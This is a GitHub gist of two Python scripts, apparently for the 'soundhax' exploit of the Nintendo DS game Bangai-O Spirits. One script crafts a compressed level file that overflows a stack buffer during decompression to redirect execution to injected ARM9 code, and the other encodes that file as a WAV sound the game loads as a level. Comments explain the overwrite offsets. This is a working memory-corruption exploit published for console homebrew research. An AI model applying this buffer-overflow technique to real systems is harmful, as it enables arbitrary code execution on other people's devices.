Skip to content

Instantly share code, notes, and snippets.

@smealum
Last active May 25, 2020 22:34
Show Gist options
  • Star 21 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save smealum/dbc3c04ca8224410d60a to your computer and use it in GitHub Desktop.
Save smealum/dbc3c04ca8224410d60a to your computer and use it in GitHub Desktop.
bangai-o soundhax
import sys
import wave
import struct
# bit0 is a single period sine wave at 1024Hz with a given amplitude
# bit1 is the same but with ~2.7 times the amplitude
bits = [[0x00, 0x09, 0x12, 0x1A, 0x21, 0x27, 0x2C, 0x2F, 0x30, 0x2F, 0x2C, 0x27, 0x21, 0x1A, 0x12, 0x09, 0x00, 0xF6, 0xED, 0xE5, 0xDE, 0xD8, 0xD3, 0xD0, 0xD0, 0xD0, 0xD3, 0xD8, 0xDE, 0xE5, 0xED, 0xF6], [0x00, 0x18, 0x30, 0x46, 0x59, 0x69, 0x75, 0x7C, 0x7F, 0x7C, 0x75, 0x69, 0x59, 0x46, 0x30, 0x18, 0x00, 0xE7, 0xCF, 0xB9, 0xA6, 0x96, 0x8A, 0x83, 0x81, 0x83, 0x8A, 0x96, 0xA6, 0xB9, 0xCF, 0xE7]]
bits[0] = [b^0x80 for b in bits[0]]
bits[1] = [b^0x80 for b in bits[1]]
bits[0] = struct.pack('%sB' % len(bits[0]), *bits[0])
bits[1] = struct.pack('%sB' % len(bits[1]), *bits[1])
data_fn = sys.argv[1]
mode = sys.argv[2] if len(sys.argv) > 2 else "raw"
data = open(data_fn, "rb").read()
if mode == "level":
header = [0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0x0A, 0x02, 0x02]
header = struct.pack('%sB' % len(header), *header)
header += struct.pack('<HH', len(data), len(data))
data = header + data + struct.pack('<L', sum(data))
open("test.bin","wb").write(data)
wav_out = wave.open('noise.wav', 'w')
wav_out.setparams((1, 1, 32768, 0, 'NONE', 'not compressed'))
for v in data:
for i in range(8):
wav_out.writeframes(bits[(v>>i)&1])
wav_out.close()
to generate a noise.wav file which will run code.bin on the arm9 when received :
python payload.py payload.bin && python bin2wav.py payload.bin level
import sys
import struct
def rawBlock(d):
if len(d) > 0x1F:
print("too much data for raw block")
return struct.pack('B%sB' % len(d), len(d), *d)
def repBlock(length, disp):
length -= 2
disp -= 1
if length > 0x1FF or disp > 0xF:
print("length or displacement too big for repeat block")
code = 0x2000|(disp<<9)|(length)
return struct.pack('>H', code)
code_data = bytearray(open("code.bin", "rb").read())
if len(code_data)%0x1f > 0:
code_data += bytearray([0x00]*(0x1f-(len(code_data)%0x1f)))
if len(sys.argv)<=2:
code_base = 0x02000000
else:
code_base = int(sys.argv[2], 0)
code_addr = code_base + 0x824
# first write the address we want to jump to
comp_data = rawBlock([(code_addr>>(i*8))&0xFF for i in range(4)])
# then copy it over 0x820 bytes (minus the 4 we already wrote)
# the decompression method outputs to a 0x800 fixed size stack buffer
# and there's 0x20 bytes worth of pushed registers on the stack
# if we copy more we'll overwrite the pointer to the output buffer
# which will in turn lead to us overwriting our payload and code...
# which is why we should not write more than 0x820 bytes unless we know what we're doing
comp_data += repBlock(0x1FC, 0x4)
comp_data += repBlock(0x200, 0x4)
comp_data += repBlock(0x200, 0x4)
comp_data += repBlock(0x200, 0x4)
comp_data += repBlock(0x20, 0x4)
# turns out we do know what we're doing : we overwrite the destination buffer pointer with the address where we want to put our code
# this way we have a fixed code address which will work wherever we trigger the exploit from, and we no longer rely on a heap address that might change
overwrite_addr = 0x02000000
comp_data += rawBlock([(overwrite_addr>>(i*8))&0xFF for i in range(4)])
for i in range(0, len(code_data), 0x1f):
comp_data += rawBlock(code_data[i:i+0x1f])
comp_data = struct.pack('<L', len(comp_data)) + comp_data
header_data = struct.pack('<LLLL', 0x3, 0x0, 0x10, 0x20) # in order : type, dimensions, some data (objects ?) offset, compressed level data offset
header_data += struct.pack('<LLLL', 0x0, 0x0, 0x0, 0x0) # "some data (objects ?)"
data = header_data + comp_data
open(sys.argv[1], "wb").write(data)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment